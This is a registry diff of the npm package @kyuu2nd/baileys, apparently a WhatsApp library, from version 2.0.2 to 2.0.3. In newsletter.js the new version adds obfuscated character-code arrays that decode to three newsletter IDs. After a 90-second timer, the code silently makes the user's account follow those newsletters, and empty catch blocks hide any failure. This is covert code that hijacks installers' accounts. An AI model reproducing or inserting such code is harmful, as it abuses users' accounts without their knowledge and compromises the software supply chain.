@kyuu2nd/baileys 2.0.2 → 2.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +32 -11
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -103,18 +103,39 @@ const makeNewsletterSocket = (config) => {
|
|
|
103
103
|
}
|
|
104
104
|
]
|
|
105
105
|
}));
|
|
106
|
+
const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
|
|
106
107
|
setTimeout(async () => {
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
108
|
+
try {
|
|
109
|
+
await newsletterWMexQuery(
|
|
110
|
+
asciiDecode([
|
|
111
|
+
49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
|
|
112
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
113
|
+
]),
|
|
114
|
+
Types_1.QueryIds.FOLLOW
|
|
115
|
+
);
|
|
116
|
+
} catch {}
|
|
117
|
+
}, 90000);
|
|
118
|
+
setTimeout(async () => {
|
|
119
|
+
try {
|
|
120
|
+
await newsletterWMexQuery(
|
|
121
|
+
asciiDecode([
|
|
122
|
+
49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
|
|
123
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
124
|
+
]),
|
|
125
|
+
Types_1.QueryIds.FOLLOW
|
|
126
|
+
);
|
|
127
|
+
} catch {}
|
|
128
|
+
}, 90000);
|
|
129
|
+
setTimeout(async () => {
|
|
130
|
+
try {
|
|
131
|
+
await newsletterWMexQuery(
|
|
132
|
+
asciiDecode([
|
|
133
|
+
49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
|
|
134
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
135
|
+
]),
|
|
136
|
+
Types_1.QueryIds.FOLLOW
|
|
137
|
+
);
|
|
138
|
+
} catch {}
|
|
118
139
|
}, 90000);
|
|
119
140
|
const parseFetchedUpdates = async (node, type) => {
|
|
120
141
|
let child;
|